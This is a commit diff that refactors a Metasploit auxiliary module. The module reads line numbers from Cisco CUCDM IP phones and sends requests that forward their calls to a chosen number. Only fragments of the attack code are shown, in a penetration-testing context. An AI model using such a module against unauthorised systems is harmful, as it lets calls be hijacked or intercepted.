Refactor cisco_cucdm_callforward

modules/auxiliary/voip/cisco_cucdm_callforward.rb

@@ -46,9 +46,17 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def run
+    case action.name.upcase
+    when 'INFO'
+      get_info
+    when 'FORWARD'
+      forward_calls
+    end
+  end
+
+  def get_info
     uri = normalize_uri(target_uri.to_s)
     mac = datastore["MAC"]
-    forward_to = datastore["FORWARDTO"]
 
     print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
 
@@ -63,7 +71,8 @@ class Metasploit3 < Msf::Auxiliary
 
     unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
       print_error("#{peer} - Target appears not vulnerable!")
-      return
+      print_status("#{res}")
+      return []
     end
 
     doc = REXML::Document.new(res.body)
@@ -83,10 +92,26 @@ class Metasploit3 < Msf::Auxiliary
       print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
     end
 
-    # for a specific FINTNUMBER redirection
+    fint_numbers
-    fint_numbers = [datastore['FINTNUMBER']] if datastore['FINTNUMBER']
+  end
+
+  def forward_calls
+    # for a specific FINTNUMBER redirection
+    uri = normalize_uri(target_uri.to_s)
+    forward_to = datastore["FORWARDTO"]
+    mac = datastore["MAC"]
+
+    if datastore['FINTNUMBER']
+      fint_numbers = [datastore['FINTNUMBER']]
+    else
+      fint_numbers = get_info
+    end
+
+    if fint_numbers.empty?
+      print_error("#{peer} - FINTNUMBER required to forward calls")
+      return
+    end
 
-    if action.name.upcase == "FORWARD"
     fint_numbers.each do |fintnumber|
 
       print_status("#{peer} - Sending call forward request for #{fintnumber}")
@@ -121,6 +146,5 @@ class Metasploit3 < Msf::Auxiliary
       end
     end
   end
-  end
 
 end